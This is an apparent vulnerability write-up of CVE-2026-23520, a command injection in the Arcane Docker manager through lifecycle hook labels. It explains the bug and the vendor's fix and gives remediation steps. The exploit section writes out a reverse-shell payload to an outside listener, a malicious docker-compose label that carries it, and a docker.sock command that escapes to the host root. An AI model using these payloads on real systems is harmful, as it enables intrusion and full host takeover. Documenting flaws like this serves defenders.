CVE-2026-23520

Arcane RCE: When Docker Labels Become Shell Scripts

Alon Barad
Alon Barad
Software Engineer

Jan 16, 2026·6 min read

Executive Summary (TL;DR)

Arcane trusted Docker labels to define 'pre-update' and 'post-update' commands. It passed these label values directly to `/bin/sh -c`. An authenticated attacker can create a project with a malicious label, wait for an admin to update the container, and gain Remote Code Execution (RCE) on the management server. The vendor fixed this by deleting the feature entirely.

A critical OS Command Injection vulnerability in the Arcane Docker management platform allows authenticated users to execute arbitrary commands on the backend server. By crafting malicious Docker labels designed for lifecycle hooks, attackers can trick the updater service into passing unsanitized strings directly to a shell interpreter.

The Hook: Convenience is the Enemy of Security

Arcane is a nifty self-hosted Platform as a Service (PaaS) designed to make managing Docker containers feel less like wrestling an octopus and more like driving a car. It abstracts away the complexity of deployments, updates, and configuration. To make life easier for power users, the developers included a feature that sounds great on paper: Lifecycle Hooks.

The idea was simple. Sometimes, before you update a container (say, a database or a web app), you need to run a migration script or back up some data. Arcane allowed users to define these actions directly in the container's Docker labels. Specifically, com.getarcaneapp.arcane.lifecycle.pre-update and com.getarcaneapp.arcane.lifecycle.post-update.

It’s a classic "infrastructure-as-code" convenience feature. But here is the problem: In the world of security, convenience often holds the door open for attackers. By allowing arbitrary commands to be defined in metadata (labels) that an authenticated user controls, Arcane effectively turned every Docker container into a potential Trojan horse waiting for an administrator to click "Update."

The Flaw: Trusting the Label

The vulnerability (CWE-78) lies in the fundamental lack of boundaries between user input and system execution. In backend/internal/utils/arcaneupdater/labels.go, the application logic retrieves the value of these lifecycle labels and—without a second thought—hands them over to the system shell.

The developers likely assumed that since the labels were part of the internal Arcane configuration, they were trustworthy. Or perhaps they assumed that only a benevolent admin would ever set these labels. This is a fatal assumption. In a multi-user environment, or even a single-user environment where a low-privileged account is compromised, "trust" is a four-letter word.

The flaw isn't just that it executes commands; it's that it executes them using /bin/sh -c. This means standard shell metacharacters (;, |, &&, $()) are interpreted. An attacker doesn't need to overwrite a binary; they just need to append their malicious logic to the end of a valid command—or replace it entirely.

The Code: The Smoking Gun

Let's look at the vulnerable code in backend/internal/utils/arcaneupdater/labels.go. The function GetLifecycleCommand is the culprit. It iterates through the container's labels, finds the matching lifecycle key, and returns a command slice.

// The Vulnerable Implementation
func GetLifecycleCommand(labels map[string]string, lifecycleLabel string) []string {
    if labels == nil {
        return nil
    }
    for k, v := range labels {
        // Case-insensitive check for the label key
        if strings.EqualFold(k, lifecycleLabel) {
            v = strings.TrimSpace(v)
            if v == "" {
                return nil
            }
            // THE BUG: Passing the raw string 'v' directly to sh -c
            return []string{"/bin/sh", "-c", v}
        }
    }
    return nil
}

See that []string{"/bin/sh", "-c", v} line? That is the programmable equivalent of handing a loaded gun to a toddler. Whatever string v holds gets executed.

The Fix

How did they fix it? Did they implement a complex parser to sanitize the input? Did they whitelist allowed commands?

No. They realized the game was rigged and they folded. In version 1.13.0, they deleted the feature entirely.

- // GetLifecycleCommand returns the lifecycle command for the given label, if set
- func GetLifecycleCommand(labels map[string]string, lifecycleLabel string) []string {
-     // ... entire function deleted ...
- }

Sometimes, the best code is no code. By removing the ability to define shell commands in labels, the attack surface was eliminated completely.

The Exploit: Trojan Horse Containers

Exploiting this requires an authenticated user account (to create projects) and a bit of patience. The attack vector is asynchronous: we plant the bomb, but the admin detonates it.

Step 1: Crafting the Payload

We need a command that gives us a reverse shell or exfiltrates data. Since we are in a Go environment, let's assume a standard Linux base.

Payload: echo "pwned"; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Step 2: Injecting the Label

We create a new project in Arcane or update an existing docker-compose.yml. We insert the label into one of the services.

services:
  web:
    image: nginx:latest
    labels:
      com.getarcaneapp.arcane.lifecycle.pre-update: "echo 'Starting Update'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Step 3: The Trigger

The code only runs during an update routine. We wait. When the legitimate administrator logs in and sees an update available for nginx:latest, or triggers a manual pull, the Arcane backend parses our label.

It constructs: /bin/sh -c "echo 'Starting Update'; /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1".

Step 4: Shell Access

The backend service executes the command. Our listener at 10.0.0.1:4444 catches the shell. We are now running code as the user running the Arcane backend service.

The Impact: From Container to Host

You might be thinking, "So what? You have a shell inside the Arcane container. Big deal."

Here is why you should panic: Arcane is a Docker manager.

To function, the Arcane backend container almost certainly has the host's Docker socket mounted (/var/run/docker.sock). This is the standard architecture for these types of tools.

If we have RCE inside a container with access to docker.sock, we effectively have root access on the host. We can simply use the socket to spin up a new container with the host root filesystem mounted to /mnt.

# Escaping to the host via docker.sock
docker -H unix:///var/run/docker.sock run -it -v /:/host ubuntu chroot /host bash

Game over. The attacker now owns the entire server, not just the Arcane application.

The Fix: Update or Die

The remediation is straightforward because the vendor nuked the vulnerability from orbit.

Immediate Action: Update Arcane to version 1.13.0 immediately. This version removes the lifecycle hook code. If you were relying on this feature for legitimate purposes, you will need to find another way to handle migrations (e.g., entrypoint scripts inside the container image itself).

Mitigation (If you can't update): If you are stuck on an older version, you must ruthlessly audit your projects. Run a script to inspect the labels of every container managed by Arcane.

# Audit command to find dangerous labels
docker inspect $(docker ps -q) | grep "com.getarcaneapp.arcane.lifecycle"

If you find these labels and you didn't put them there, you have already been compromised. If you did put them there, remove them. Do not trust text strings that get passed to /bin/sh.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
4.00%
Top 99% most exploited
150
via Shodan

Affected Systems

Arcane Docker Management Platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
Arcane
getarcaneapp
< 1.13.01.13.0
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS Score9.1 (Critical)
Attack VectorNetwork
Privileges RequiredLow (Authenticated)
User InteractionRequired (Admin triggers update)
Sink/bin/sh -c
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.

Vulnerability Timeline

Vulnerability identified and patch committed
2026-01-14
Public release of Arcane v1.13.0
2026-01-15
GHSA and CVE advisory published
2026-01-15

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.